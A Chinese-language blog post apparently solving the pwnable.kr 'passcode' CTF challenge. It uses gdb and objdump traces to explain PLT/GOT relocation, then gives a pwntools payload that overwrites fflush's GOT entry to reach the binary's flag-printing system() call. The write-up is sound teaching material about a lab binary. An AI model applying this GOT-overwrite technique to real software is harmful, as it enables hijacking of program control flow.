Cavern.sigma
Welcome to Cavern.sigma
[上回傳送門](https://stoneapp.tech/cavern/post.php?pid=904) 上回我們看到 `name` 只能影響到 `passcode1` 所以沒辦法用設定 `passcode1` `passcode2` 的方式來通過 這次我們會利用能安排 `passcode1` 這個特點用另外的方法來做,不過我們需要先 # 簡單了解 Relocation 不知道你有沒有注意到過 在反組繹出來的東西裡面,很多 function call 總是長成這個樣子 `call 0x8048430 <fflush@plt>` `call 0x8048420 <printf@plt>` 等等 後面總是跟著奇怪的 @plt 字尾 現在我們來看看這個到底是什麼東西 ## 透過 welcome 實際追蹤 我們可以發現 `welcome` 裡面有兩次 `call 0x8048420 <printf@plt>` 利用這個來看一下吧 gdb 打開,並在 `welcome` 的兩個 `printf` 處下斷點(自己的位置自己看,反正我的是在下面兩個位置) 然後跑起來 ```shell $ gdb passcode gdb-peda$ b *0x08048625 gdb-peda$ b *0x0804864d gdb-peda$ r [----------------------------------registers-----------------------------------] EAX: 0x80487cb ("enter you name : ") EBX: 0x0 ECX: 0x86c0160 ("Toddler's Secure Login System 1.0 beta.\n") EDX: 0xf7f7d890 --> 0x0 ESI: 0xf7f7c000 --> 0x1d7d8c EDI: 0x0 EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0 ESP: 0xfff9bc80 --> 0x80487cb ("enter you name : ") EIP: 0x8048625 (<welcome+28>: call 0x8048420 <printf@plt>) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804861b <welcome+18>: xor eax,eax 0x804861d <welcome+20>: mov eax,0x80487cb 0x8048622 <welcome+25>: mov DWORD PTR [esp],eax => 0x8048625 <welcome+28>: call 0x8048420 <printf@plt> 0x804862a <welcome+33>: mov eax,0x80487dd 0x804862f <welcome+38>: lea edx,[ebp-0x70] 0x8048632 <welcome+41>: mov DWORD PTR [esp+0x4],edx 0x8048636 <welcome+45>: mov DWORD PTR [esp],eax Guessed arguments: arg[0]: 0x80487cb ("enter you name : ") [------------------------------------stack-------------------------------------] 0000| 0xfff9bc80 --> 0x80487cb ("enter you name : ") 0004| 0xfff9bc84 --> 0xf7f7c000 --> 0x1d7d8c 0008| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0 0012| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax) 0016| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84 0020| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.") 0024| 0xfff9bc98 --> 0xf7f7cd80 --> 0xfbad2a84 0028| 0xfff9bc9c --> 0xf7e1758b (<_IO_new_file_overflow+267>: add esp,0x10) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048625 in welcome () ``` 我們用 `si` (step instruction) 來進入 `call` ```shell gdb-peda$ si [----------------------------------registers-----------------------------------] EAX: 0x80487cb ("enter you name : ") EBX: 0x0 ECX: 0x86c0160 ("Toddler's Secure Login System 1.0 beta.\n") EDX: 0xf7f7d890 --> 0x0 ESI: 0xf7f7c000 --> 0x1d7d8c EDI: 0x0 EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0 ESP: 0xfff9bc7c --> 0x804862a (<welcome+33>: mov eax,0x80487dd) EIP: 0x8048420 (<printf@plt>: jmp DWORD PTR ds:0x804a000) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048416: jmp DWORD PTR ds:0x8049ffc 0x804841c: add BYTE PTR [eax],al 0x804841e: add BYTE PTR [eax],al => 0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000 | 0x8048426 <printf@plt+6>: push 0x0 | 0x804842b <printf@plt+11>: jmp 0x8048410 | 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004 | 0x8048436 <fflush@plt+6>: push 0x8 |-> 0x8048426 <printf@plt+6>: push 0x0 0x804842b <printf@plt+11>: jmp 0x8048410 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004 0x8048436 <fflush@plt+6>: push 0x8 JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xfff9bc7c --> 0x804862a (<welcome+33>: mov eax,0x80487dd) 0004| 0xfff9bc80 --> 0x80487cb ("enter you name : ") 0008| 0xfff9bc84 --> 0xf7f7c000 --> 0x1d7d8c 0012| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0 0016| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax) 0020| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84 0024| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.") 0028| 0xfff9bc98 --> 0xf7f7cd80 --> 0xfbad2a84 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048420 in printf@plt () ``` 首先可以看到 `printf@plt` 的地方就只有三行,另外第一行的意思是 `jmp *ds:0x804a000` 也就是說是要跳到 `0x804a000` 的內容所指示的地方,不是跳到 `0x804a000` 喔 我們可以用 gdb 看一下那裡放了什麼 (x/w , x 是 examine , w 則是說一次看 4 個 bytes ,詳細看 https://sourceware.org/gdb/current/onlinedocs/gdb/Memory.html) ```shell gdb-peda$ x/w 0x804a000 0x804a000 <printf@got.plt>: 0x08048426 ``` 然後就發現很鬼畜的事:jmp 目的地是下面一行 如果仔細看一下 `printf@plt` 附近的程式就會發現全部都是長這樣 ```asm 0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000 0x8048426 <printf@plt+6>: push 0x0 0x804842b <printf@plt+11>: jmp 0x8048410 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004 0x8048436 <fflush@plt+6>: push 0x8 0x804843b <fflush@plt+11>: jmp 0x8048410 0x8048440 <__stack_chk_fail@plt>: jmp DWORD PTR ds:0x804a008 0x8048446 <__stack_chk_fail@plt+6>: push 0x10 0x804844b <__stack_chk_fail@plt+11>: jmp 0x8048410 0x8048450 <puts@plt>: jmp DWORD PTR ds:0x804a00c 0x8048456 <puts@plt+6>: push 0x18 0x804845b <puts@plt+11>: jmp 0x8048410 0x8048460 <system@plt>: jmp DWORD PTR ds:0x804a010 0x8048466 <system@plt+6>: push 0x20 0x804846b <system@plt+11>: jmp 0x8048410 0x8048470 <__gmon_start__@plt>: jmp DWORD PTR ds:0x804a014 0x8048476 <__gmon_start__@plt+6>: push 0x28 0x804847b <__gmon_start__@plt+11>: jmp 0x8048410 ``` 好我們先不管跳到下面一行要幹什麼 反正繼續往下 ```shell gdb-peda$ c Continuing. enter you name : abth [----------------------------------registers-----------------------------------] EAX: 0x80487e3 ("Welcome %s!\n") EBX: 0x0 ECX: 0x1 EDX: 0xfff9bc98 ("abth") ESI: 0xf7f7c000 --> 0x1d7d8c EDI: 0x0 EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0 ESP: 0xfff9bc80 --> 0x80487e3 ("Welcome %s!\n") EIP: 0x804864d (<welcome+68>: call 0x8048420 <printf@plt>) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048643 <welcome+58>: lea edx,[ebp-0x70] 0x8048646 <welcome+61>: mov DWORD PTR [esp+0x4],edx 0x804864a <welcome+65>: mov DWORD PTR [esp],eax => 0x804864d <welcome+68>: call 0x8048420 <printf@plt> 0x8048652 <welcome+73>: mov eax,DWORD PTR [ebp-0xc] 0x8048655 <welcome+76>: xor eax,DWORD PTR gs:0x14 0x804865c <welcome+83>: je 0x8048663 <welcome+90> 0x804865e <welcome+85>: call 0x8048440 <__stack_chk_fail@plt> Guessed arguments: arg[0]: 0x80487e3 ("Welcome %s!\n") arg[1]: 0xfff9bc98 ("abth") [------------------------------------stack-------------------------------------] 0000| 0xfff9bc80 --> 0x80487e3 ("Welcome %s!\n") 0004| 0xfff9bc84 --> 0xfff9bc98 ("abth") 0008| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0 0012| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax) 0016| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84 0020| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.") 0024| 0xfff9bc98 ("abth") 0028| 0xfff9bc9c --> 0xf7e17500 (<_IO_new_file_overflow+128>: test edx,edx) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x0804864d in welcome () ``` 然後遇到第二次的 `printf@plt` 我們再進去看看 ```shell gdb-peda$ si [----------------------------------registers-----------------------------------] EAX: 0x80487e3 ("Welcome %s!\n") EBX: 0x0 ECX: 0x1 EDX: 0xfff9bc98 ("abth") ESI: 0xf7f7c000 --> 0x1d7d8c EDI: 0x0 EBP: 0xfff9bd08 --> 0xfff9bd28 --> 0x0 ESP: 0xfff9bc7c --> 0x8048652 (<welcome+73>: mov eax,DWORD PTR [ebp-0xc]) EIP: 0x8048420 (<printf@plt>: jmp DWORD PTR ds:0x804a000) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048416: jmp DWORD PTR ds:0x8049ffc 0x804841c: add BYTE PTR [eax],al 0x804841e: add BYTE PTR [eax],al => 0x8048420 <printf@plt>: jmp DWORD PTR ds:0x804a000 | 0x8048426 <printf@plt+6>: push 0x0 | 0x804842b <printf@plt+11>: jmp 0x8048410 | 0x8048430 <fflush@plt>: jmp DWORD PTR ds:0x804a004 | 0x8048436 <fflush@plt+6>: push 0x8 |-> 0xf7df5430 <__printf>: call 0xf7edb2c9 <__x86.get_pc_thunk.ax> 0xf7df5435 <__printf+5>: add eax,0x186bcb 0xf7df543a <__printf+10>: sub esp,0xc 0xf7df543d <__printf+13>: mov eax,DWORD PTR [eax-0x5c] JUMP is taken [------------------------------------stack-------------------------------------] 0000| 0xfff9bc7c --> 0x8048652 (<welcome+73>: mov eax,DWORD PTR [ebp-0xc]) 0004| 0xfff9bc80 --> 0x80487e3 ("Welcome %s!\n") 0008| 0xfff9bc84 --> 0xfff9bc98 ("abth") 0012| 0xfff9bc88 --> 0xfff9bd08 --> 0xfff9bd28 --> 0x0 0016| 0xfff9bc8c --> 0xf7e171bd (<_IO_new_do_write+29>: cmp ebx,eax) 0020| 0xfff9bc90 --> 0xf7f7cd80 --> 0xfbad2a84 0024| 0xfff9bc94 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.") 0028| 0xfff9bc98 ("abth") [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x08048420 in printf@plt () ``` 再看看 0x804a000 ```shell gdb-peda$ x/w 0x804a000 0x804a000 <printf@got.plt>: 0xf7df5430 ``` 然後你就發現 哇好神奇,現在他直接 jmp 到 0xf7df5430 ,也就是真正的 printf 了(其實上面也有給jmp要去的地方) (`jmp DWORD PTR ds:0x804a000` 下面兩行大概就是在做這件神奇的事,但是怎麼弄的我就不知道了,我就爛) 所以就可以發現兩件事 1. `printf@plt` (跟其他一些@plt)會跳去 `0x804a000` (每個不一樣,但是模式一樣,相信能看出來)所指定的地方,而 `0x804a000` 指定的地方第一次會是 jmp 的下一行,後面就會變成函數真正的位置 2. 像是 `0x804a000` 這種位置的內容可以改動,好耶 結合上面兩點跟 `passcode1` 的缺陷,我們可以提出攻擊方式了 思路大概是這樣: 想執行 `system("/bin/cat flag");` 這一行 -> 如果能把 @plt 裡面用來指定地址的內容寫成 `system("/bin/cat flag");` 的位置,就可以跳過去執行 -> 先用 `welcome` 設定 `passcode1` 的值,然後用 `login` 裡面有問題的 `scanf` 去寫 來做吧 看c code ```c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } ``` 因為要用 `scanf` 把 `passcode1` 的內容當成位置寫東西進去,所以要做到第九行 那我們就挑第十行的 `fflush` 下手ㄅ 首先要找到 `fflush@plt` 裡面指定的位置,用什麼工具都好 這裡因為懶得再開gdb了(這篇寫了好幾天,笑死)所以直接用 `objdump` 看 (這裡只放需要的地方) ```shell $ objdump -M intel -d passcode ....... 08048430 <fflush@plt>: 8048430: ff 25 04 a0 04 08 jmp DWORD PTR ds:0x804a004 8048436: 68 08 00 00 00 push 0x8 804843b: e9 d0 ff ff ff jmp 8048410 <.plt> ....... ``` 看起來叫 `fflush` 的時候會有 `jmp *0x804a004` 的動作 所以我們知道 `passcode1` 要弄成 `0x804a004` 裡面的值則是要放 `system("/bin/cat flag");` 的位置 再找一下,然後再 `login` 裡面就能找到 ```asm ..... 80485e3: c7 04 24 af 87 04 08 mov DWORD PTR [esp],0x80487af 80485ea: e8 71 fe ff ff call 8048460 <system@plt> ..... ``` 所以就是要把 `0x804a004` 的內容寫成 `0x80485e3` 詳細整理下步驟 1. 利用 `welcome` 把 `passcode1` 的值變成 `0x804a004` 2. 利用 `login` 裡面的 `scanf("%d", passcode1);` 讓 `0x804a004` 的內容變成 `0x80485e3` 3. 執行到 `fflush` 的時候就會跳到我們想執行的地方了,好耶 然後就可以開始 python 了 不過這個網站需要先 ssh 過去,然後再自己執行 所以就直接在上面用 python 的 interactive mode ㄅ 順帶一提,這裡用 python 2 因為他上面 python3 沒有裝 pwntool ```shell passcode@pwnable:~$ python Python 2.7.12 (default, Nov 12 2018, 14:36:49) [GCC 5.4.0 20160609] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import pwn >>> message = 'a'*96 + b'\x04' + b'\xa0' + b'\x04' + b'\x08' >>> p = pwn.process("./passcode") [x] Starting local process './passcode' [+] Starting local process './passcode': pid 59822 >>> p.sendline(message) >>> p.interactive() [*] Switching to interactive mode Toddler's Secure Login System 1.0 beta. enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! 134514147 Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :) [*] Process './passcode' stopped with exit code 0 (pid 59822) [*] Got EOF while reading in interactive [*] Got EOF while sending in interactive ``` `Sorry mom.. I got confused about scanf usage :(` flag 出了 sumbit,通過,開心 附註:134514147 = 0x80485e3
2021-07-26 15:27:56
留言
Last fetch: --:-- 
現在還沒有留言!